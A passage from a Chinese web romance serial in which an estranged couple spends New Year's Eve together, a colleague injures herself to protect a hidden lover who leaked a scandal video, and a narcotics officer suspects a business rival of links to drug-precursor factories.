二楼的主卧门没有关严,楼下时不时传来的笑声和拌嘴声。
陆砚深直挺挺地躺在大床上,听着那清脆鲜活的声音,深邃的眼底漾起一丝连他自己都没察觉的柔光,嘴角不受控制地往上翘着。
放在枕边的手机震动了一下,是王嫂发来的微信。
他划开屏幕,是一张抓拍的照片。
照片里,江莹闭着眼睛亲吻江岚的脸颊,笑得像个得到了全世界的小女孩,江墨在旁边一脸嫌弃地翻白眼。
看着照片里江莹发自内心的笑容,陆砚深在医院里郁结的不爽,瞬间烟消云散。
他静静望着天花板,之前回到家里的那种踏实,仿佛回来了。
这时,门外走廊上传来细碎的脚步声。
陆砚深收敛神色,迅速按灭手机,扔在一边。
“陆总,换一下药,我就回去了,等明天早上再过来。”
看到过来的是家庭医生,陆砚深松了口气,缓缓点头。
换完药,陆砚深刚缓口气儿,手机响了起来。
看到周野的名字,他随手接通。
“喂!”
“活着呢?”
陆砚深邹眉,“你死哪儿了?”
“临时出了两天差,刚到家。”周野声音有些疲惫,“要不去看看你?”
“不用,别扰我清净。”
“那行,我明天过去,刚好有点事跟你说。”
第154章 别再碰我
陆砚深挂了电话,江莹端着王嫂专门给他准备的饭菜推门进来。
暖黄的灯光落在床上那个直挺挺躺着的男人身上。
她顿了顿脚步,心底掠过一丝不易察觉的软。
大过年的,楼下热热闹闹,他却一个人孤零零躺在床上,清冷得像被世界遗忘。
以往的除夕夜,他们总在老宅陪着长辈一起跨年,陆砚深永远是人群的中心,举手投足间都是掌控一切的从容,跟此刻被忽视,只能躺在床上相比,确实有点惨。
心软也只持续了几秒钟,下一秒就被荒谬感淹没。
江莹垂了垂眼睫,指尖无意识地攥紧了托盘边缘。我不杀伯仁,伯仁却但因我而死。
秦欣固然可恶,若不是陆砚深一次次偏袒秦欣,把她的委屈当无理取闹,把她的真心弃如敝履,他们又怎么会走到今天?
心里的怨怼像沉在心底的冰,稍稍触碰,就透着刺骨的凉。
心疼男人,倒霉一辈子,她在心里默念一遍,压下那点不合时宜的恻隐。
她走到床边,把托盘放在床头柜上。
“起来吃点东西,王嫂炖了汤,好消化。”她的声音平淡,听不出半分情绪。
陆砚深没动,漆黑的眼眸牢牢锁在她脸上,薄唇轻启,声音染着沙意,还有一丝不易察觉的示弱:“我……起不来。”
江莹瞥了他一眼,终究还是没狠下心,勉为其难地弯下腰,双手小心翼翼地穿过他的腋下,指尖不经意间触碰到他温热的皮肤,两人都微微一僵。
她缓缓将人从床上扶起来,动作轻柔,怕扯到他腹部的伤口。
女人身上淡淡的栀子花香,在一呼一吸间扑进陆砚深的鼻腔,萦绕在鼻尖,他的身体不由得绷紧,甚至连呼吸都轻了几分。
手臂上清晰传来她胸前柔软的触感,不经意间的摩擦,像电流穿过四肢百骸。
陆砚深的喉结剧烈地滑动了一下,眼底泛起一层暗沉的情愫。
他转头,目光落在江莹好看的侧脸上,灯光勾勒出她流畅的下颌线,垂在耳边的一缕碎发随着她的动作轻轻晃动。
他鬼使神差地抬起手,指腹带着微凉的温度,轻轻将那缕碎发别到她的耳后。
指尖不经意擦过她的耳垂,江莹的身体几不可查地颤了一下,下意识地想躲开,却被他另一只手悄悄按住了腰侧。
“**精神状态怎么样?”陆砚深的声音放得更柔,“要不要让疗养院的医生过来看看,放心些。”
“不用。”江莹偏过头,避开他的触碰,语气依旧平淡,“大过年的,别折腾别人。”
她挣开他的手,动作麻利地扯过一个靠枕,慢慢塞到他的后背。
江莹没有立刻退开,依旧保持着微微弯腰的姿势,目光直直地撞进他眸底,“感觉怎么样?有没有扯到伤口?”
话一出口,她就有些后悔,明明告诉自己不要心软,却还是忍不住关心。
陆砚深眨眨眼,“还可以,你……不高兴?”
江莹松手,扯了扯嘴角,语气里带着几分嘲讽,“没有,挺开心的,看到你开心不起来而已。”
陆砚深因为她这句话,脸色沉了下去,他盯着她,环在她后腰上的手不仅没有松开,反而稍稍用力,将她牢牢地扣在自己怀里,力道不大,却让她无法挣脱。
江莹很漂亮,陆砚深虽然嘴上没有夸过,但不得不承认,自己也是个俗人,在见她第一次,惊艳、漂亮这些词都在他脑子里闪过。
此刻,她刚给江岚抹完口红,自己也补了妆,红唇泛着莹莹的光泽,像熟透的樱桃,诱人得让他移不开眼。灯光落在她的唇上,勾勒出饱满的唇形,陆砚深的目光渐渐变得灼热。
“可以松手了。”江莹清冷平淡的声音在陆砚深耳边蔓延开。
然而,陆砚深非但没有松手,反而将人抱得更紧,让她的身体紧紧贴着自己的胸膛,他能清晰地听到她急促的心跳声,和自己的心跳交织在一起。
没等江莹再次开口,他微微偏头,温热的唇直接覆了上去,带着不容拒绝的强势。
江莹背
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后一紧,下意识地挣扎、推他,但顾及到他的伤口,她并不敢用力。
陆砚深察觉到她的顾虑,眼底闪过一丝得逞,揽着她腰的手又将人往自己怀里压了压,加深了这个吻,带着压抑了许久的情愫……
暧昧的气息在房间里蔓延,缠缠绕绕,挥之不去。
不知过了多久,陆砚深才缓缓松开她,唇瓣离开的瞬间,还轻轻咬了一下她的下唇,留下一个淡淡的红痕。
江莹猛地回过神,脸颊涨得通红,既有被冒犯的愤怒,又有一丝难以言说的慌乱。
她抬手,指尖微微颤抖着,高高扬起,眼看就要扇在陆砚深的脸上,却硬生生停住了。
盯着眼前这张脸,终究还是没能狠下心。
她缓缓放下手,指尖攥得发白几乎嵌进肉里,声音冷硬却也透着一丝慌乱,“陆砚深,别再碰我。”
陆砚深捏捏她的脸,嗓音暗哑,“今天过年,开心点,别让你妈和江墨担心。”
江莹咬牙,瞪了他一眼,“再敢碰我,我阉了你。”
陆砚深抿唇,撇开脸,看向托盘里的年夜饭,“陪我吃两口,好歹是年夜饭。”
两**眼瞪小眼。
此刻江北的街头,与湖心公馆里的热闹不同。
街上寒风凛冽,更是连个人影都没有。
宋瑾修一身黑色大衣,独自一人徘徊在空旷的跨线桥上。
他脖子上还挂着固定手臂的绷带,骨折处的疼痛他像是感觉不到。
自从陆氏年会上爆出许振清的丑闻,让陆氏股价大跌后,薛婷婷就彻底从人间蒸发了。
是谁的手笔,他心里比谁都清楚。
不管陆砚深能不能从薛婷婷嘴里得到有用消息,他都不怕。
他望着桥下偶尔飞驰而过的车流,冷得发白的嘴唇勾起一抹阴森的弧度。
这么多年的隐忍与布局,像烂泥一样活在暗处,终于等到了这一天。
距离他摧毁陆家的目标,越来越近了。
还有七天,他心爱的姑娘也将重新回到他身边。
第155章 用生命作为筹码
宋瑾修点了根烟,刚吸一口,手机响了起来。
看到卫平两个字不由得心烦。
薛婷婷是卫平的亲妹妹,由于家庭变故,兄妹二人成了孤儿,当时卫平八岁,薛婷婷三岁。
两人到孤儿院后,薛婷婷很快被人收养,卫平因为年纪大,一直没有找人愿意收养,所以是在孤儿院长大。
因为在孤儿院档案室,偷偷看到了薛婷婷收养人的信息,他时不时去看妹妹。
长大后,更是直接去了薛婷婷所在的地方打工,挣到的钱大部分也都用在了薛婷婷身上。
薛婷婷的养父母也知道这事,他们并不反对,私下对卫平也很不错。
这个时候卫平打来电话,宋瑾修不难猜出所为何事。
他不接,电话就一直响。
卫平从来没有在他跟前这么执拗过,向来对他言听计从。但薛婷婷是他在这个世上唯一的亲人和牵挂,他不可能冷静。
宋瑾修缓缓吐了口烟圈,不耐烦接通电话,“喂!”
电话已接通,卫平急切不安的声音就传来过来,“宋总,婷婷是不是出事了?”
宋瑾修弹了弹指尖的烟灰,“不会有事的。”
“宋总,让婷婷回老家吧,她爸妈开始怀疑她是不是遇到了什么事,非要来江北。”
薛婷婷养父母对她很宠爱,一直把她当亲生的养。
“你先稳住,婷婷过两天就能回去。”
陆砚深已经把人扣了两天,再得不到想要的答案,只能放人。
卫平迟迟没有说话,在宋瑾修不耐烦地想要挂断时,他又开口:“哥,看在我跟你这么多年,婷婷喜欢你这么多年的份上,一定要保婷婷平安。”
宋瑾修吸了口咽,没有说话。
卫平等不到回答,声音再度急切起来,“哥,我求你了,我的命交给你了,就求你让婷婷干干净净,让她平安地生活。”
宋瑾修呼了口气,“卫平,不是我不让她走,是她自己非要缠着我。”
“哥,这样,这次若是她能平安回来,我就把她绑回去,绝对不让她在出现在你身边。”
宋瑾修皱眉,“随便你,处理好就行。”
说完,他直接挂断电话,眉间透着不悦,也有不屑。
一个见不得光,且随手可丢的暖床工具,不值得浪费心思。
……
杜宇回家吃了个团圆饭,就又匆匆离开。
薛婷婷还被扣在酒店,这个时候必须得让她跟家里人回个电话,万一对方起疑心,报警就麻烦了。
而且,已经扣了她两天,再不放人,就成了非法拘禁。
杜宇前脚踏进酒店,后脚他的助理程林打来电话。
眼看自己就到,他直接挂断了电话。
看到客房的门开着,杜宇瞬间皱了眉,他大步走了进去。
看到地上触目惊心的一片血迹,他声音急切,“叫救护车了吗?”
程林点头,“已经叫了,马上就到。”
谁都没有想到这个女孩子不但执拗,还带着玉石俱焚的狠劲儿。
这会儿,搞得几个大男人心里挺不是滋味。
杜宇上前扶起薛婷婷晃了晃她的胳膊,“薛婷婷,能不能听到我说话?”
薛婷婷血流不止,意识已经有些涣散。
她瞪眼盯着杜宇,扯了扯唇,“杜……杜特助,我已经交代了,事情是……是我做的,没有任何人指使我。”
“你坚持住,医生马上就到。”
杜宇看着这个年轻的女孩,心里五味杂陈,为了她身后的人,用自己的生命作为筹码,真的值得吗?
同时更加恨那个躲在她背后的男人,没有担当,让一个女人替他扛下一切。
……
湖心公馆,客厅温馨又热闹。
江岚的状态比在疗养院好了不少,盯着电视,嘴角带若有似无的笑,仿佛能看懂小品的内容。
“姐,姑姑是不是在笑。”
江莹看着母亲笑了下,点头,“我妈好像挺喜欢在家。”
“要不我们把姑姑接回来吧,她现在情况稳定,住在疗养院总归不如在自己家。”江墨把剥好的开心果递到江岚手里,“刘姐一直跟着应该也不会有问
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题。”
江莹心里也在盘算这件事,或许回到自己家,熟悉的环境反而有助于她身体恢复。
“过完年我跟陆砚深办完手续,就把我妈接回梧桐里。”
“我马上就毕业了,到时候跟你一起照顾姑姑。”
江莹看了他一眼,没想到两天的时间他变化还挺大,恢复了之前的开朗,人也坦然了不少。
“我还担心你会继续钻牛角尖。”江莹递给他一个剥好的橘子,“怎么突然想开了?”
“宋哥说,无能的人才会钻牛角尖,真正强大的人,是不会把希望寄托在别人身上,命运只能掌握在自己手里。”
江墨说着这话,眼睛都是亮的,“姐,是我自己无能,不怪别人。陆砚深愿意帮忙是情分,不愿意帮忙是本分。”
江莹抿唇,“你就这么崇拜宋瑾修?”
“那当然,他不光工作能力强,在心胸及出事这一块儿,也没有人能比。”
江莹怕他再说出让她接受宋瑾修的话,直接开口提醒,“师哥确实很厉害,你跟着多学学挺好,但注意不要乱说话。”
江墨挑眉后叹气,“其实,李律师也跟我说了一些情况,我也想了那天晚上的事,确实是我误会了他。所以……我不恨他,但也不会上去看他,他伤害你是事实。”
这一点江莹挺意外,刚要开口说什么,手机响了起来。
看到是陆氏设计部邵川的电话,她迟疑了一瞬。
在陆氏时,邵川比她晚一年入职,工作上虽然不太配合,暗暗跟她较劲,但人还是光明磊落的,从不在背后给她使绊子。
想着或许是拜年电话,江莹直接接通,“邵川,新年快乐!”
“江姐,新年快乐!”
邵川说完停顿了两秒,纠结着开口,“江姐,你……”
意识到他似乎有事,江莹笑道:“有事你直接说。”
“你有没有联系上薛婷婷?”
邵川喜欢薛婷婷,最近正在追她,但两天了发消息她连回都不回,电话也不接。
他还以为薛婷婷故意躲他。
第156章 生生把孩子摔掉
江莹握着手机愣了一瞬,她确实有好久没有联系过薛婷婷。
不过她更好奇的是,邵川怎么会突然这么着急地跑来向她打听薛婷婷的下落。
“我最近家里事情比较多,没怎么顾得上跟她联系。”江莹实话实说。
电话那头的邵川明显急了,声音里透着掩饰不住的挫败和恳求。
“江姐,能不能麻烦你帮我给她带句话?”
这个时候江莹若是还猜不出点啥,那她真是反映迟钝了。
“你说,我能联系上她一定转达。”
邵川迟疑一瞬,再开口,声音认真且坚定,“你告诉她,如果她真的烦我、不喜欢我,麻烦她在微信里跟我说一声。”
“只要她开口,我邵川绝对不当死皮赖脸的狗皮膏药,也绝对不会因为这事影响工作和同事关系。”
江莹听着他这副赌气又委屈的口吻,嘴角弯了弯,还真是追女孩子碰了壁,急得乱阵脚了。
她忍着笑答应下来,“行,我马上就给她打电话,你的话我一定会带到。”
说完,脑子里浮现出薛婷婷和邵川站在一起的场景,又弯唇笑了笑,心想两个人还挺般配的。
一个直爽,一个温柔。
想到这里,江莹忍不住提醒,“邵川,追女孩子不能逼得太紧,给对方留点喘息的空间和时间。婷婷,平时文文静静的,是个很有主见也很有礼貌的人。她不可能无缘无故玩失踪,肯定是过年回老家事情太多,没来得及回你消息。”
邵川在那边闷闷地应了两声,情绪听起来依旧很低落,但好歹是稳住了。
江莹挂断了邵川的电话,指尖在屏幕上划拉了两下,直接拨通了薛婷婷的号码。
江墨坐在一旁的地毯上,嘴里嚼着橘子,凉飕飕地飘过来一句,“你自己这段失的败婚姻都还没整明白呢,怎么还好意思给别人指点迷津?”
江莹没好气地转头,狠狠瞪了臭小子一眼,“你能整明白,怎么没有见你交过一个女朋友?”
“我要先立业,再成家。自己还是菜鸡,怎么保护女人?”
她白了他一眼懒得搭理他,将手机贴在耳边,耐心地听着电话里单调的“嘟——嘟——”声。
一声,两声,三声……
直到机械的女声提示无人接听,电话那头始终没有任何活人的动静。
江莹微微皱了皱眉,挂断了电话。
心想应该今晚除夕,这个点应该在陪家里长辈,没空接电话也正常。
她点开薛婷婷的微信,指尖飞快地敲击着屏幕,先是发了一条真诚的拜年消息。
紧接着,她又斟酌着用词,转达邵川的意思。
“婷婷,感情的事不能勉强,但成年人要学会体面的处理。想清楚你自己的心意,早点跟邵川说清楚,处理好同事之间的关系,别给自己的工作增加不必要的难度。”
然而,发出去的消息就像是投入了深海的石子,没有激起半点涟漪。
一直到电视里传来新年倒计时的钟声,窗外隐隐亮起绚烂的烟火,江莹的手机里都没有收到薛婷婷的回复。
春晚结束,新的一年正式开始。
微信里有各种各样的拜年信息,去年薛婷婷也给她发了,但今年……
江莹的心里没来由地升起一股隐隐的不安。
现在的年轻人都恨不得把手机长在手上,就算是除夕夜再忙,薛婷婷怎么可能将近两个小时连一眼手机都不看?
想到邵川说,他已经两天没有联系上薛婷婷,江莹开始担心她是不是遇到了什么事。
等不到结果,空想就太内耗。江莹深吸了一口气,收起手机,上楼睡觉。
既然签了那份照顾他的承诺书,不管出于什么立场,她今晚都不能对陆砚深不管不顾。
她刚走到主卧半掩着的房门前,还没来得及推门,就听到陆砚深沉冷的声音。
“立刻联系张院长,找最好的妇产科专家过去,务必保住她的子宫,不能因为这件事害她一辈子!”
江莹落在门板上的手,猛地僵在半空中。
屋内的男人似乎有些烦躁,声音压得很低,透着一股让人心悸的威压,“通知她家里人,等她家里人来了,或许能查出点什么。”
保住子宫?
陆砚深在说谁?!
不知道是不是她潜意识对“子宫”这两个字太敏感,江莹站在门口,后背蹿起一阵细密的寒意,莫名的心慌。
卧室里声音消失,江莹直接推门进去。
陆砚深下颚线紧绷,看到是江莹的瞬间,他眼底的寒冰微微碎裂。
“出什么事了?那个需要保子宫的女人,是谁?”
陆砚深看着她,知道事情瞒不住了。
他沉默了两秒,突然伸出手,修长温热的手指勾住了她冰凉的小
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指。
江莹下意识地想挣脱,他却猛地收紧力道,进而一把握住了她整只微凉的手。
男人的掌心很热,瞬间将她包裹。
陆砚**结滚动了一下,盯着她,眼神有些紧张,“是薛婷婷。”
江莹愣了一瞬,随即不可置信地瞪大了眼睛,“薛婷婷?”
陆砚深直视她的眼睛,一字一句道:“陆氏年会上的那段丑闻视频,是薛婷婷放的。”
“事发之后她想跑,杜宇带人在高铁站把她截了下来,这两天把她扣在酒店里。”
对于这个消息,江莹第一反应就是不可能,那么温柔一个女孩子,她怎么可能做出这种事?
“婷婷不可能干出这么大的事?”
陆砚深的大拇指轻轻摩挲着江莹的手背,语气低沉,“我也不相信是她一个人能够完成的,她被扣这两天,一口咬定是自己做的。说是为了替你出气,想要报复公司。”
江莹猛地倒抽了一口凉气,震惊得半天说不出话来。
替她出气?
这丫头……
江莹心思都在薛婷婷这件事上,完全没有注意到陆砚深已经扯着她坐在床上,甚至伸手将人抱在身侧。
她愣了几秒钟,追问,“她是怎么知道许振清那些事情的?又是怎么拿到视频的?”
陆砚深疲惫地叹了一口气,眉头深锁,“她一个字都不肯多说,咬**就是自己干的,杜宇到现在也没有查到视频的来源。知道许振清那件事的人虽然不多,但也不少,查起来有难度。”
江莹靠在他肩头,转脸看着他,“你刚才在电话里说……保住她的子宫是怎么回事?”
“她为了不被追问,维护背后的人,不停地从酒店床上往地板上摔,生生把孩子摔没了,造成大出血。”
江莹不由得颤了一下,她红着眼睛,瞪着陆砚深,“你是不是逼她了?!”
面对她的指控,陆砚深咬牙,“我没有。”
他强忍着伤口撕扯的痛意,声音里带上了几分憋屈和无奈。
“我已经让人给她准备了今晚十点飞回老家的机票,杜宇过去就是准备送她去机场。”
她知道陆砚深不屑于撒谎,既然他说准备放人,那就一定是真的。
可是薛婷婷为什么会这么极端?连自己的命和孩子都不要了?
她背后的人到底是谁,竟然让她以命相护。
第157章 不服就干
江莹一晚上没怎么睡,同为孕妇,她知道一个女人对孩子的感情。
能让薛婷婷硬生生把孩子摔掉,是有多爱那个人。
江莹看了眼躺在自己身边的狗男人,抬手摸了摸自己的小腹。
庆幸自己的宝宝在一天天长大。
她翻身起床,吵醒了身边的陆砚深。
“昨晚睡那么晚,这么早起床?”
男人声音低沉,带着晨起特有的沙哑,长臂一伸,手掌刚好落在她腹部。
江莹没有回头,心里不是一般的别扭,还有几天就可以办离婚手续,却还在同一张床上醒来,不光别扭,还有点难以接受。
在陆砚深手指微微摩挲之际,又不由地僵住,这时她怀孕以来,他第一次抚摸她的小腹,也是他跟宝宝距离最近的一次。
“怎么感觉你肚子上长肉了?”
江莹心里一惊,他该不会怀疑吧?
抬手把他手推开的瞬间,狗男人摸了两下又开口,“还有点硬,整个人浑身没有二两肉,肚子倒是长肉了。”
江莹咬唇,“长不长肉关你什么事?昨晚警告你的话忘了是吧,别再碰我。”
陆砚深抿唇,“我又没说你胖,长点肉手感好。”
江莹转头看他,明明说着荤话,这人却矜贵依旧,半眯着眸子,嘴角噙着一抹笑。
江莹心想,他们之间到了这份上,没必要委屈自己,人生憋屈谁不能憋屈自己。
更想到了梁玥曾经信奉的人生格言:人生嘛,不服就干,生死看淡,自己爽了再说。
这么一想心里豁然开朗,她咬唇看着陆砚深,“陆总,这么喜欢摸,要不再摸一会儿?”
她说着去拉陆砚深的手。
陆砚深看她笑得乖巧,稍稍失神,伸手又朝江莹探了过去。
大掌刚碰到她的睡衣下边沿,江莹的手已经来到他肋骨处。
下一秒,陆砚深的手没有伸进她的衣摆,江莹已经按着他的肋骨开始从上往下数。
瞬间陆砚深开始不受控制的笑,并不停挣扎,但身上的伤又不允许他乱动。
被挠了痒痒,同时伴着拉扯的痛,让陆砚深尝到了“人为刀俎我为鱼肉”的无奈和痛苦。
“江莹,你松手,要不然等我康复我绕不了你。”
江莹冲他竖了根中指,“我等着。”
说话归说话,江莹在陆砚深肋骨上来回挠,跟弹琵琶一样,惹得陆砚深脸上扭曲,分不清是想哭还是想笑。
但可以肯定,那一声声轻嘶,是疼的。
他怕痒这事,江莹是无意间发现的。
婚后第一次结婚纪念日,陆砚深忘记,他很晚才回家,身上沾染了酒味,江莹赌气一晚上不理他。
那时候两人刚有了夫妻之实,江莹朝他使性子,又傲娇又倔强。
陆砚深性子冷,她不理人,他就背对着她睡。
江莹气不过,抬手挠他,却激起他强烈反应,瞬间从床上弹了起来。
下一秒,捧着她的脸亲,揉她腰上最敏感的软肉,用她最受不了的姿势。
江莹跟他对着干,受不了就一边哭,一边在他肋骨上弹琵琶。
从那次之后,她知道陆砚深怕痒,尤其是怕数肋骨。
江莹松手睨了他一眼,“我就乘人之危,就是挠你痒痒了,你能怎样?”
说完捋了下头发,直接起身,去了卫生间。
陆砚深看着她又飒又不讲理的样子,舌尖抵着腮帮子笑了。
跟个小野猫一样,挺有趣。
江莹吃完早餐,到医院时,才刚九点。
大年初一的早晨,街道上冷冷清清,医院同样冷清。
她站在病床前,看着眼前毫无生机的女孩,心里说不出的酸涩和难受。
薛婷婷的脸色白得像张纸,躺在病床上单薄可怜。
别说陆砚深不信,江莹更不相信。薛婷婷一个刚毕业不到一年的女生,怎么可能谋划出这样的事。
酒店的安保,和设备的监护人员,一环扣着一环,她一个人怎么可能做到。
这个傻姑娘,以命相护的人,到底是个什么样的人?
现在勉强保住了子宫,但身子受到重创,今后到底还能不能做母亲,谁都说不准。
薛婷婷睡得并不安稳,或者说她根本就没有睡着,只是沉沉地闭着眼睛。
感受到床边有人靠近,薛婷婷的眼皮颤动了一下,缓缓睁开了的眼睛。
在看清来人是江莹的那一瞬间,薛婷婷的眸底极快地闪过了一抹无法掩饰的
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失落后,神色变得复杂。
“江姐!”
小姑娘颤抖的声音,展现了她心内的慌乱和不安。
“感觉怎么样?”
“还好。”
薛婷婷勉强扯出一个笑,看得江莹心里更酸。
这丫头笑起来很乖巧,但这会儿苍白的脸上浮现这样的笑,除了让人心疼,还是让人心疼。
“傻丫头,为什么要这么做,不疼吗?”
江莹问她为什么要放视频,而是问了为什么不要孩子。
薛婷婷盯着江莹,神色复杂眸底甚至有着隐隐的嫉妒,但那股情绪在江莹的注视下很快消散。
她握住江莹的手,声音哽咽,“江姐,你别问了好吗?”
薛婷婷嫉妒江莹,同时也知道自己比不上江莹,甚至还有些依赖她,想要亲近她。
“婷婷,我不是想逼你,是想帮你,陆氏若是把这件事传出去,你觉得你还能在行业立足吗?你被扣在酒店两天,除了父母、朋友和邵川,他有找过你,关心过你吗?”
邵婷婷转开脸,不看她。
江莹看她依旧维护,只字不提,无奈地深吸一口气打开保温桶,拿出里面的燕窝羹,是她一早让王嫂炖的。
她拿着勺子将燕窝羹送到薛婷婷唇边,“为了一个男人,把自己弄成这个样子,傻不傻?”
薛婷婷瞬间落泪,“我……我也不想。但,我控制不住自己。我爱他,从我第一次见到他心里就再也装不下别人。”
江莹听着这话,想到了自己,十五岁看到陆砚深,从此眼睛里就再也没有别人。
这种感觉她,感同身受。
一厢情愿,泥足深陷,无法自拔。
她用了十年的时间去成长,以为自己已经够傻,没想到自己身边还有一个比自己更傻的人。
甚至连自己的命都可以豁出去。
江莹抽了张纸巾,帮她擦了脸上的泪,“婷婷,爱人先爱己。委屈自己已经够苦,若是还要为此不顾自己的身体,那我们岂不是白活一世。”
说完,江莹自嘲地笑笑,“当然,我也是个失败者。”
薛婷婷在江莹的照顾和劝说下,刚喝完燕窝羹,病房的门被推开。
急切的脚步声紧随而来。
第158章 那人到底要干什么
病房门被推开,薛母跌跌撞撞地扑到床边。
“婷婷!”
女人心疼地握住薛婷婷的手,声音哽咽,眼睛红肿。
薛婷婷单薄的身体跟着颤抖了一下,眼泪再次决堤,却转脸看向窗外,不敢看父母的脸。
薛父站在一旁没有说话。一双粗糙的手不知道往哪里放。他红着眼眶,转过头,悄悄用手背抹了抹眼角。
“傻丫头,除了这么大的事,你怎么不能妈妈说?”薛母紧紧攥着女儿的手,声泪俱下,“大过年的,你知不知我跟你爸多担心你?”
薛父斥责她,“孩子正难受,你说这些干什么?”
江莹看着这一幕,提着的心稍稍落回了肚子里。
有这么爱她的父母在身边陪着。
这傻丫头总归能挺过这一关。
不管受了多大的伤,家永远是最后的退路。
她站起身,默默把空了的碗收进保温桶。
“叔叔、阿姨,婷婷的情况已经稳定了,她年纪还小,一切都会好起来的。”
老两口这才把注意力转到江莹身上。
“孩子,对不住啊,我们一着急,就没有注意到你。”薛父不好意思地开口,“她妈妈哭了一路,就是担心她身边连个人都没有,谢谢你能陪着我们家婷婷。”
江莹扯了扯唇,“婷婷跟我亲近,应该的,你们来了,我也放心了,你们多陪陪她。”
她不方便多留,寒暄了两句提着食盒往外走。
把空间留给他们一家三口。
从头到尾。
江莹一个字也没提薛婷婷在年会上播放视频的事。
薛婷婷也没有说出是为了她报复公司,这话当着外人的面说说也就罢了,当着江莹的面,她说不出口。
大家都心照不宣。
有些血淋淋的伤口,没必要在这个时候去残忍地揭开。
“江小姐,我送你。”
薛母擦干眼泪,快步跟了出来,能在这个时候给女儿温暖的人,他们老两口是感激的。
医院的走廊里空荡荡的,几乎没什么人。大过年的,没事谁往医院跑。
江莹跟薛母一前一后到了电梯口,看着身旁满脸憔悴的女人,她扯出一个浅笑。
“阿姨,婷婷什么时候交的男朋友?她跟着我半年多,我都不知道。”
她问得很随意,透漏的却是对薛婷婷的关心。
薛母明显愣了一瞬,眼神里闪过一丝复杂的迟疑。
随后她缓缓摇了摇头,“没见过她带什么男孩子回来。这丫头虽然乖巧,但性子从小就倔。我知道她心里一直惦记着一个人。”
“有时候晚上还躲在被窝里哭。”
“我问过几次,她都说就是她一厢情愿,人家有喜欢的对象。”
“我也没曾想会遇到这样的事,她不会是被人欺负了吧?”
薛母想到这里,瞳孔骤然紧缩,紧接着眼泪就掉了下来。
江莹两忙劝慰,“阿姨,您别瞎想,婷婷肯定是心甘情愿的。既然她不愿意说,我们就暂时别问了,等她身体养好,或许就自己想说了。”
薛母听江莹这么肯定的语气,心里稍稍安稳。
告别了薛母,江莹独自走向医院的地下停车场。
冷风夹杂着冬日的寒意,让她低沉甚至有些压抑的情绪松懈不少。
坐进车里,江莹双手搭在方向盘上,眉头又不自觉拧在一起。
薛婷婷不过是个刚毕业的学生,而且不是江北本地人,她怎么可能避开那么多监控和安保,在陆氏这么高级别的年会上搞出这么大的动静?
甚至能拿到那种私密的视频。
她喜欢的那个人,到底是做什么的,他想干什么?
是单纯针对许振清,还是想借机搞垮陆氏?
昨晚,陆砚深很肯定地说薛婷婷跟许振清或者杨慧,没有任何私人恩怨和利益往来,她连这两个人的面都没见过。
正是因为查清楚了薛婷婷的关系网,所以他们才坚信,薛婷婷做这一切,都是为了她身后的那个男人。
为了那个男人,她甘愿当枪,甘愿毁了自己一辈子。
可这个人,会是陆砚深一直在找的那个内鬼吗?
关于这一点,陆砚深昨晚只字未提。
江莹坐在车里,隐隐觉得后背发冷。
她下意识地抬起头,看了一眼后视镜。
空旷的停车场里,零星停着几辆车,江莹却身后好像有双眼睛正盯着她。
……
上午十点。
阳光穿透薄薄的云层,照在湖心公馆的院子里。
一辆黑色越野车缓缓驶进院子,稳稳停稳。
周野穿着一件硬挺的黑色夹克,大步流星进屋。
江墨昨晚睡得晚,这会儿还没有起来。
刘姐在帮江岚梳头发,看到来人客气地点头。
周野愣了一瞬后,王嫂上来介绍,“这是太太的母亲,”
这倒是让周野更加意外,这狗东西向来不喜欢人多,他们来湖心公馆喝酒他都不同意
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,这是受伤被挟持了?
王嫂笑眯眯又道:“先生吩咐过年接回来的,应该是怕太太想家人。”
周野挑眉,点头上楼。
腹部的刀伤让陆砚深不能有大幅度的活动,但这今天家庭医生说可以自己下床上厕所。
周野上来,他正捂着腹部下床准备去卫生间。
看到推门进来的人,他睨了一眼,推着输液架继续往卫生间走。
“诶,要不要帮忙?我可以帮你哟。”
陆砚深皱眉,不搭理他,小步往卫生间走,进去还不忘把房门反锁。
“我去,你什么样,我没有看过?你是不是怕我进去让你太自卑?”
回应他的是“嘭”一声。
陆砚深从卫生间出来,周野懒散地缩在落地窗前的沙发上。
“大年初一就跑来看你爹,有心了。”
陆砚深懒懒地掀了掀眼皮,直接在床上靠下。
周野桃花眼里眨了眨,咬唇笑了笑,“不是看你差点见阎王,老子一定揍到你喊爹。”
陆砚深扯唇,“拭目以待。”
两人相视一眼,随即嘴角都扯出一个不深不浅的笑。
“有话快说。”
陆砚深知道他这几天不在江北,他昨晚就想过来,想必是有什么消息。
“接到个线报。”他身体稍稍坐正,原本吊儿郎当的脸上,此刻满是冷肃,“临市的一家制药厂出了点问题。”
陆砚深眉头微蹙,深邃的眼眸里浸满疑惑,“什么制药厂?”
“他们主产的一款感冒类药物。”周野压低了声音,“这半年来产能和实际输出的数据有很大的出入。”
陆砚深拧眉,“跟你有什么关系?”
“药物中还有**的成分。”周野声音严肃,冷硬。
他这话一出口,陆砚深就明白是什么意思。
“查了什么?”
周野失落地摇头,“厂家的内部材料很充分,他们在境外采购的药材去年十月底出了点意外,被水泡坏了一部分,所以造成第四季度的生产量跟不上。”
陆砚深松了一口气,“没问题就好。”
“希望是真的没问题。”周野暗暗摇头,“这次我发现一件有意思的事,这家制药厂,宋瑾修有投资。”
房间里的气氛凝滞了一瞬,陆砚深看着周野迟迟没有开口。
不知道该说什么,也不想天马行空去想问题。
“他投资的公司大部分都是医药和化工,这没什么稀奇的。”
第159章 三千万和一个女人
周野抬手晃了晃,“这家是**,在江北郊区有一家公司是做氨基类化工用品。”
他深吸了一口气,语气越来越沉,“去年这家公司也在排查名单上,投资人也是宋瑾修。”
“这两家厂子,表面上看八竿子打不着。一家在临市,一家在郊区,但我总觉得没那么简单。”
周野做了多年的缉毒警察,他对**的成品和生产了解透彻。
这两家公司,有一个共同的投资人,让他不由得多想。
“你这是职业习惯,他的背景我查过,投资的公司大多数是医药和化工,还有几家游戏公司。”
毕竟没有证据,只是他单纯的直觉,周野扯唇,“反正他是你的情敌,你还是小心点好。”
**。
氨基化工厂。
这两样东西联系在一起,在缉毒警的眼里,指向性太明确了。
那就是一条见不得光的黑色产业链。
“之前让你查的事有眉目了吗?”陆砚深沉默了一瞬后开口。
周野烦躁地搓了一把脸,骂了句脏话,“操,提到这件事,我都头疼。上行下效,每一层给出的理由都正常且充分,说怕犯人的生命安全受到威胁。手续齐全,挑不出半点毛病。”
陆砚深只觉得脊背一阵阵发凉,这人的手段还真是长,连官场都能插手进去。
想到被这么一个人盯着,他只觉寒意顺着尾椎骨一直往上窜。
周野看陆砚深不说话,挑眉,“是不是觉得挺可怕?”
